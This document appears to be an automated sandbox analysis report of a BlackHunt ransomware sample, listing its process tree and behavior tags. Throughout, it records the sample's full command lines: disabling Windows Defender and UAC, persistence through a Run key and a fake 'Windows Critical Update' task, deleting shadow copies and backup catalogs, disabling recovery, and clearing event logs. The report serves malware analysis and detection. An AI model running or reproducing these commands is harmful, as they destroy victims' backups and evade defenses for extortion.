description pid Process procid_target PID 5108 wrote to memory of 3592 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 93 PID 5108 wrote to memory of 3592 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 93 PID 5108 wrote to memory of 1760 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 95 PID 5108 wrote to memory of 1760 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 95 PID 5108 wrote to memory of 3980 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 97 PID 5108 wrote to memory of 3980 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 97 PID 5108 wrote to memory of 4304 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 99 PID 5108 wrote to memory of 4304 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 99 PID 5108 wrote to memory of 3704 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 101 PID 5108 wrote to memory of 3704 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 101 PID 5108 wrote to memory of 2928 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 103 PID 5108 wrote to memory of 2928 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 103 PID 5108 wrote to memory of 1492 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 105 PID 5108 wrote to memory of 1492 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 105 PID 3592 wrote to memory of 4572 3592 cmd.exe 107 PID 3592 wrote to memory of 4572 3592 cmd.exe 107 PID 1760 wrote to memory of 3216 1760 cmd.exe 176 PID 1760 wrote to memory of 3216 1760 cmd.exe 176 PID 5108 wrote to memory of 4972 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 109 PID 5108 wrote to memory of 4972 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 109 PID 3980 wrote to memory of 3904 3980 cmd.exe 114 PID 3980 wrote to memory of 3904 3980 cmd.exe 114 PID 5108 wrote to memory of 740 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 110 PID 5108 wrote to memory of 740 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 110 PID 5108 wrote to memory of 4528 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 183 PID 5108 wrote to memory of 4528 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 183 PID 5108 wrote to memory of 524 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 116 PID 5108 wrote to memory of 524 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 116 PID 4304 wrote to memory of 4768 4304 cmd.exe 117 PID 4304 wrote to memory of 4768 4304 cmd.exe 117 PID 5108 wrote to memory of 1488 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 119 PID 5108 wrote to memory of 1488 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 119 PID 5108 wrote to memory of 1896 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 120 PID 5108 wrote to memory of 1896 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 120 PID 5108 wrote to memory of 3976 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 122 PID 5108 wrote to memory of 3976 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 122 PID 2928 wrote to memory of 4040 2928 cmd.exe 125 PID 2928 wrote to memory of 4040 2928 cmd.exe 125 PID 5108 wrote to memory of 4964 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 126 PID 5108 wrote to memory of 4964 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 126 PID 1492 wrote to memory of 3740 1492 cmd.exe 129 PID 1492 wrote to memory of 3740 1492 cmd.exe 129 PID 3704 wrote to memory of 3480 3704 cmd.exe 127 PID 3704 wrote to memory of 3480 3704 cmd.exe 127 PID 5108 wrote to memory of 3948 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 130 PID 5108 wrote to memory of 3948 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 130 PID 5108 wrote to memory of 3940 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 133 PID 5108 wrote to memory of 3940 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 133 PID 5108 wrote to memory of 4292 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 131 PID 5108 wrote to memory of 4292 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 131 PID 5108 wrote to memory of 1596 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 136 PID 5108 wrote to memory of 1596 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 136 PID 5108 wrote to memory of 1164 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 138 PID 5108 wrote to memory of 1164 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 138 PID 4528 wrote to memory of 4240 4528 cmd.exe 168 PID 4528 wrote to memory of 4240 4528 cmd.exe 168 PID 524 wrote to memory of 320 524 cmd.exe 142 PID 524 wrote to memory of 320 524 cmd.exe 142 PID 5108 wrote to memory of 1360 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 143 PID 5108 wrote to memory of 1360 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 143 PID 4972 wrote to memory of 4332 4972 cmd.exe 146 PID 4972 wrote to memory of 4332 4972 cmd.exe 146 PID 5108 wrote to memory of 1512 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 145 PID 5108 wrote to memory of 1512 5108 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe 145 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe"C:\Users\Admin\AppData\Local\Temp\81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5108 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3592 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:4572
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1760 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵PID:3216
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3980 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:3904
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4304 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4768
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3704 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:3480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2928 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:4040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:3740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4972 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:4332
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:740
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:4984
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:4528
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:4240
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:524 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:320
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:1488
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:4980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:1896
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1188
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:3976
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:3360
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:4964
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1592
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:3948
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:4200
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:4292
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:4984
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:3940
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:12620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:1596
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:13000
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1164
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:13140
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1360
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:6180
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1512
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:7608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1216
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:7620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:4948
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:6284
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2400
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:7536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3292
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:7568
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2024
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:6152
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:5068
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:7424
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2540
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:9964
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe" /F2⤵PID:3312
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe" /F3⤵
- Creates scheduled task(s)
PID:9848
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1904
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4240
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:9368
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:4512
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:9476
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:4736
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4980
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:6580
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1608
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:10060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵
- Modifies registry class
PID:3216 -
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:9360
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:5116
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:9208
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4072
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:9668
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵
- Suspicious use of WriteProcessMemory
PID:4528 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:9268
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2492
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:8244
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1600
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:8328
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:24216
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:29324
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:24224
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:24544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:24284
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:14796
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:29468
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:10560
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:14840
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:11612
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:14888
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:12404
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:16272
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:10204
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:9036
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:12652
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:9044
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:12032
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:12060
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3592
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:12748
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:12048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:26808
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:11616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:16660
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:24848
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1048
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:24844
